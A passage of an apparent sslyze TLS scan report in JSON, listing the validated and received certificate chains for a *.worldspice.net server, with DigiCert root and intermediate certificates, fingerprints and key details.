Krk2U886UAb3LujEV0ls\nYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk\nCAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "qJhdOmXl5cSy19ZtQMbdL7GcVDY=", - "fingerprint_sha256": "Q0ig6URMeMsmXgWNXolEtNhPlmK9Jtslf4k0pEPHAWE=", - "hpkp_pin": "r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2031-11-10T00:00:00", - "not_valid_before": "2006-11-10T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 28559384442792876273280274398620578979733786817784174960112400169719065906301471912340204391164075730987771255281479191858503912379974443363319206013285922932969143082114108995903507302607372164107846395526169928849546930352778612946811335349917424469188917500996253619438384218721744278787164274625243781917237444202229339672234113350935948264576180342492691117960376023738627349150441152487120197333042448834154779966801277094070528166918968412433078879939664053044797116916260095055641583506170045241549105022323819314163625798834513544420165235412105694681616578431019525684868803389424296613694298865514217451303 - }, - "serial_number": 10944719598952040374951832963794454346, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.5", - "name": "sha1WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 20, - "name": "sha1" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "subject_alternative_name": { - "dns": [] - } - } - ], - "was_validation_successful": true - }, - { - "openssl_error_string": null, - "trust_store": { - "ev_oids": null, - "name": "Windows", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/microsoft_windows.pem", - "version": "2021-11-28" - }, - "verified_certificate_chain": [ - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIHbjCCBlagAwIBAgIQBJM6fUHhvi3C1z6HHJtR+jANBgkqhkiG9w0BAQsFADBN\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E\naWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMjAwNzIxMDAwMDAwWhcN\nMjIwOTA4MTIwMDAwWjBtMQswCQYDVQQGEwJVUzESMBAGA1UECBMJVGVubmVzc2Vl\nMRAwDgYDVQQHEwdNZW1waGlzMR0wGwYDVQQKExRXZWJOZXQgTWVtcGhpcywgSW5j\nLjEZMBcGA1UEAwwQKi53b3JsZHNwaWNlLm5ldDCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAKbE6X+zlcl1DN4r1kDYUdTc5v/uIf/471xSnM6jgcTnnR/Y\n5YeOiQ6qXJMb7z3zvltZGfTGPEqlwZwUOvwjj0nBVvH7SZt9sQo6hEbMskFZKCOF\nqqtXruXscrnL2dLwr5xKJGYFly09rLGwosFTogIBhUy0M2dyNjTAmOUMlfXlJmDH\npmvx+ODJH3Kkem3LiqhYkut64Oa4So2G9vjeHBPVhNrioVFqEBaZRscpvUAsDjm5\nxrPutH6jsmFK67QLM2VCm+RhH71RAo2ow8IQYM1INj2GFiCKundctt1WrFKHha86\nLvjDYh9a4STThuknInX2RR4yjx7T5h4O8Bo/TFsCAwEAAaOCBCgwggQkMB8GA1Ud\nIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBT+moyCnw8t+ue0\n44Cp0zjyGOBiBDCB6gYDVR0RBIHiMIHfghAqLndvcmxkc3BpY2UubmV0ghNtYWls\nLndvcmxkc3BpY2UubmV0ghVuYWdpb3Mud29ybGRzcGljZS5uZXSCEm9zcy53b3Js\nZHNwaWNlLm5ldIITaW1hcC53b3JsZHNwaWNlLm5ldIITc210cC53b3JsZHNwaWNl\nLm5ldIIbY29udHJvbHBhbmVsLndvcmxkc3BpY2UubmV0ghRzdGFmZi53b3JsZHNw\naWNlLm5ldIIec2VjdXJlLWNvbW1lcmNlLndvcmxkc3BpY2UubmV0gg53b3JsZHNw\naWNlLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsG\nAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNv\nbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5j\nb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgG\nCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAEC\nAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj\nZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29t\nL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB\nfQYKKwYBBAHWeQIEAgSCAW0EggFpAWcAdgBGpVXrdfqRIDC1oolp9PN9ESxBdL79\nSbiFq/L8cP5tRwAAAXNx8GtxAAAEAwBHMEUCICqvgaan2BWQ7bDmOT/xpmV47IKP\nZ21+RjdS9smFzdfHAiEA6Ehxwo+1FpzL27vJEqbrkpPxPqz+2IjcAt8ammrNdikA\ndgAiRUUHWVUkVpY/oS/x922G4CMmY63AS39dxoNcbuIPAgAAAXNx8GtVAAAEAwBH\nMEUCIAxQnsUwQoym7eUbfDqYEaYR9Ldrvpfqyw5gby3lEYxLAiEAlOX/U7jMUrBr\nq6aRtRGUKMHFxngOl7GdEOy1wCJ9JT8AdQBRo7D1/QF5nFZtuDd4jwykeswbJ8v3\nnohCmg3+1IsF5QAAAXNx8GuxAAAEAwBGMEQCIA6qEhLulmy7t/2vBJTR3fsLIMJV\n3WRYE2KQYbwUHBEYAiAPzNeBWzg2gNDj9gmuUXyl7M96IPz86oZCkClSZ5yvpDAN\nBgkqhkiG9w0BAQsFAAOCAQEADlFP6eckleQbC9eI2AxQQyeKB6ADuj9HLfB05LRk\nr80Q0M5VBXin9YC9MIixAz43l49REyjLtVpGJ9fa/VJ/DKEXocGcYBPbySVciaKo\nrPW3LQW1rR7iedbMMgAkw0jjAA6UsocQsIpus5qWaqLerxgsKB8Ahu2wk/GAJGmz\nLSLNs/u2YGoApqSZOwxHtwLBXL3zNsA9AYYsqaGsJVhIxlnZqWySeCuWyQBt+qpz\nO+FYbCH1HumuRvvKs4H+ARLign6kdfxylkr8gou7Fe2Hsn9S2cBhEVKIombtQehD\nZxi3SWcoj8o5fDWhZjg0dmY8nx5ky1xCFFJeQLkRyE/BqA==\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "rCzunnJALCiEKzQ8keOhaDGd6OQ=", - "fingerprint_sha256": "Y3n3zh59kDWKUfyJ1Ew4VIK7BYV30mNnlvaeblg3Wf8=", - "hpkp_pin": "WLmhHopnGYHmVPHKEMCFDbxItZxVAXJE/CpFq6BR0Y8=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", - "value": "DigiCert SHA2 Secure Server CA" - } - ], - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2022-09-08T12:00:00", - "not_valid_before": "2020-07-21T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 21052659602255636463538604647483749083515783089354242919067607619891951544427250980336374825268779596384030518649395968955553782395797388856032198774804646888901144118084148242622415305320662219271757619765791183438231099173675613273193512870117241466504369146052945029478603452407803692169792805208746352111150625572780753798980367973665773178858389992631996208264389944444721807567186793884705261613035042029937107705315620324407956878261811133260057255526701083076159431836981185206821747532225772312315999426303261173474985586583915107121043115994270762278138797153452063565151899901600082563820770139677252340827 - }, - "serial_number": 6081365925011041274511708029397455354, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.8", - "name": "stateOrProvinceName" - }, - "rfc4514_string": "ST=Tennessee", - "value": "Tennessee" - }, - { - "oid": { - "dotted_string": "2.5.4.7", - "name": "localityName" - }, - "rfc4514_string": "L=Memphis", - "value": "Memphis" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=WebNet Memphis\\, Inc.", - "value": "WebNet Memphis, Inc." - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=*.worldspice.net", - "value": "*.worldspice.net" - } - ], - "rfc4514_string": "CN=*.worldspice.net,O=WebNet Memphis\\, Inc.,L=Memphis,ST=Tennessee,C=US" - }, - "subject_alternative_name": { - "dns": [ - "*.worldspice.net", - "mail.worldspice.net", - "nagios.worldspice.net", - "oss.worldspice.net", - "imap.worldspice.net", - "smtp.worldspice.net", - "controlpanel.worldspice.net", - "staff.worldspice.net", - "secure-commerce.worldspice.net", - "worldspice.net" - ] - } - }, - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIg\nU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB\nANyuWJBNwcQwFZA1W248ghX1LFy949v/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83\nnf36QYSvx6+M/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bd\nKpPDkC55gIDvEwRqFDu1m5K+wgdlTvza/P96rtxcflUxDOg5B6TXvi/TC2rSsd9f\n/ld0Uzs1gN2ujkSYs58O09rg1/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGX\nkujNVA075ME/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\n/RR3w6RbKFfCs/mC/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB/wQIMAYBAf8C\nAQAwDgYDVR0PAQH/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYY\naHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6\nLy9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1\noDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RD\nQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v\nd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzh\nxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEB\nCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl\n5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq/sELfeNqzqPlt/yGFUzZgTHbO7Djc1lGA\n8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls/3HB40f/1LkAtDdC\n2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPit\nc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0\nj6tJLp07kzQoH3jOlOrHvdPJbRzeXDLz\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "H7hrEWjsdDFUBi6MnMWxcaS3zLQ=", - "fingerprint_sha256": "FUxDPEkZKcXvaG6DjjI2ZKAOag2CLMyVj7TasD5JoI8=", - "hpkp_pin": "5kJvNEMw0KjrCAu7eXY5HZdvyCS13BbA0VJG1RSP91w=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2023-03-08T12:00:00", - "not_valid_before": "2013-03-08T12:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 27858400285679723188777933283712642951289579686400775596360785472462618845441045591174031407467141927949303967273640603370583027943461489694611514307846044788608302737755893035638149922272068624160730850926560034092625156444445564936562297688651849223419070532331233030323585681010618165796464257277453762819678070632408347042070801988771058882131228632546107451893714991242153395658429259537934263208634002792828772169217510656239241005311075681025394047894661420520700962300445533960645787118986590875906485125942483622981513806162241672544997253865343228332025582679476240480384023017494305830194847248717881628827 - }, - "serial_number": 2646203786665923649276728595390119057, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", - "value": "DigiCert SHA2 Secure Server CA" - } - ], - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" - }, - "subject_alternative_name": { - "dns": [] - } - }, - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j\nb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG\n9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB\nCSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97\nnh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt\n43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P\nT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4\ngdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO\nBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR\nTLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw\nDQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr\nhMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg\n06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF\nPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls\nYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk\nCAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "qJhdOmXl5cSy19ZtQMbdL7GcVDY=", - "fingerprint_sha256": "Q0ig6URMeMsmXgWNXolEtNhPlmK9Jtslf4k0pEPHAWE=", - "hpkp_pin": "r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2031-11-10T00:00:00", - "not_valid_before": "2006-11-10T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 28559384442792876273280274398620578979733786817784174960112400169719065906301471912340204391164075730987771255281479191858503912379974443363319206013285922932969143082114108995903507302607372164107846395526169928849546930352778612946811335349917424469188917500996253619438384218721744278787164274625243781917237444202229339672234113350935948264576180342492691117960376023738627349150441152487120197333042448834154779966801277094070528166918968412433078879939664053044797116916260095055641583506170045241549105022323819314163625798834513544420165235412105694681616578431019525684868803389424296613694298865514217451303 - }, - "serial_number": 10944719598952040374951832963794454346, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.5", - "name": "sha1WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 20, - "name": "sha1" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "subject_alternative_name": { - "dns": [] - } - } - ], - "was_validation_successful": true - } - ], - "received_certificate_chain": [ - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIHbjCCBlagAwIBAgIQBJM6fUHhvi3C1z6HHJtR+jANBgkqhkiG9w0BAQsFADBN\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E\naWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMjAwNzIxMDAwMDAwWhcN\nMjIwOTA4MTIwMDAwWjBtMQswCQYDVQQGEwJVUzESMBAGA1UECBMJVGVubmVzc2Vl\nMRAwDgYDVQQHEwdNZW1waGlzMR0wGwYDVQQKExRXZWJOZXQgTWVtcGhpcywgSW5j\nLjEZMBcGA1UEAwwQKi53b3JsZHNwaWNlLm5ldDCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAKbE6X+zlcl1DN4r1kDYUdTc5v/uIf/471xSnM6jgcTnnR/Y\n5YeOiQ6qXJMb7z3zvltZGfTGPEqlwZwUOvwjj0nBVvH7SZt9sQo6hEbMskFZKCOF\nqqtXruXscrnL2dLwr5xKJGYFly09rLGwosFTogIBhUy0M2dyNjTAmOUMlfXlJmDH\npmvx+ODJH3Kkem3LiqhYkut64Oa4So2G9vjeHBPVhNrioVFqEBaZRscpvUAsDjm5\nxrPutH6jsmFK67QLM2VCm+RhH71RAo2ow8IQYM1INj2GFiCKundctt1WrFKHha86\nLvjDYh9a4STThuknInX2RR4yjx7T5h4O8Bo/TFsCAwEAAaOCBCgwggQkMB8GA1Ud\nIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBT+moyCnw8t+ue0\n44Cp0zjyGOBiBDCB6gYDVR0RBIHiMIHfghAqLndvcmxkc3BpY2UubmV0ghNtYWls\nLndvcmxkc3BpY2UubmV0ghVuYWdpb3Mud29ybGRzcGljZS5uZXSCEm9zcy53b3Js\nZHNwaWNlLm5ldIITaW1hcC53b3JsZHNwaWNlLm5ldIITc210cC53b3JsZHNwaWNl\nLm5ldIIbY29udHJvbHBhbmVsLndvcmxkc3BpY2UubmV0ghRzdGFmZi53b3JsZHNw\naWNlLm5ldIIec2VjdXJlLWNvbW1lcmNlLndvcmxkc3BpY2UubmV0gg53b3JsZHNw\naWNlLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsG\nAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNv\nbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5j\nb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgG\nCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAEC\nAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj\nZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29t\nL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB\nfQYKKwYBBAHWeQIEAgSCAW0EggFpAWcAdgBGpVXrdfqRIDC1oolp9PN9ESxBdL79\nSbiFq/L8cP5tRwAAAXNx8GtxAAAEAwBHMEUCICqvgaan2BWQ7bDmOT/xpmV47IKP\nZ21+RjdS9smFzdfHAiEA6Ehxwo+1FpzL27vJEqbrkpPxPqz+2IjcAt8ammrNdikA\ndgAiRUUHWVUkVpY/oS/x922G4CMmY63AS39dxoNcbuIPAgAAAXNx8GtVAAAEAwBH\nMEUCIAxQnsUwQoym7eUbfDqYEaYR9Ldrvpfqyw5gby3lEYxLAiEAlOX/U7jMUrBr\nq6aRtRGUKMHFxngOl7GdEOy1wCJ9JT8AdQBRo7D1/QF5nFZtuDd4jwykeswbJ8v3\nnohCmg3+1IsF5QAAAXNx8GuxAAAEAwBGMEQCIA6qEhLulmy7t/2vBJTR3fsLIMJV\n3WRYE2KQYbwUHBEYAiAPzNeBWzg2gNDj9gmuUXyl7M96IPz86oZCkClSZ5yvpDAN\nBgkqhkiG9w0BAQsFAAOCAQEADlFP6eckleQbC9eI2AxQQyeKB6ADuj9HLfB05LRk\nr80Q0M5VBXin9YC9MIixAz43l49REyjLtVpGJ9fa/VJ/DKEXocGcYBPbySVciaKo\nrPW3LQW1rR7iedbMMgAkw0jjAA6UsocQsIpus5qWaqLerxgsKB8Ahu2wk/GAJGmz\nLSLNs/u2YGoApqSZOwxHtwLBXL3zNsA9AYYsqaGsJVhIxlnZqWySeCuWyQBt+qpz\nO+FYbCH1HumuRvvKs4H+ARLign6kdfxylkr8gou7Fe2Hsn9S2cBhEVKIombtQehD\nZxi3SWcoj8o5fDWhZjg0dmY8nx5ky1xCFFJeQLkRyE/BqA==\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "rCzunnJALCiEKzQ8keOhaDGd6OQ=", - "fingerprint_sha256": "Y3n3zh59kDWKUfyJ1Ew4VIK7BYV30mNnlvaeblg3Wf8=", - "hpkp_pin": "WLmhHopnGYHmVPHKEMCFDbxItZxVAXJE/CpFq6BR0Y8=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", - "value": "DigiCert SHA2 Secure Server CA" - } - ], - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2022-09-08T12:00:00", - "not_valid_before": "2020-07-21T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 21052659602255636463538604647483749083515783089354242919067607619891951544427250980336374825268779596384030518649395968955553782395797388856032198774804646888901144118084148242622415305320662219271757619765791183438231099173675613273193512870117241466504369146052945029478603452407803692169792805208746352111150625572780753798980367973665773178858389992631996208264389944444721807567186793884705261613035042029937107705315620324407956878261811133260057255526701083076159431836981185206821747532225772312315999426303261173474985586583915107121043115994270762278138797153452063565151899901600082563820770139677252340827 - }, - "serial_number": 6081365925011041274511708029397455354, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.8", - "name": "stateOrProvinceName" - }, - "rfc4514_string": "ST=Tennessee", - "value": "Tennessee" - }, - { - "oid": { - "dotted_string": 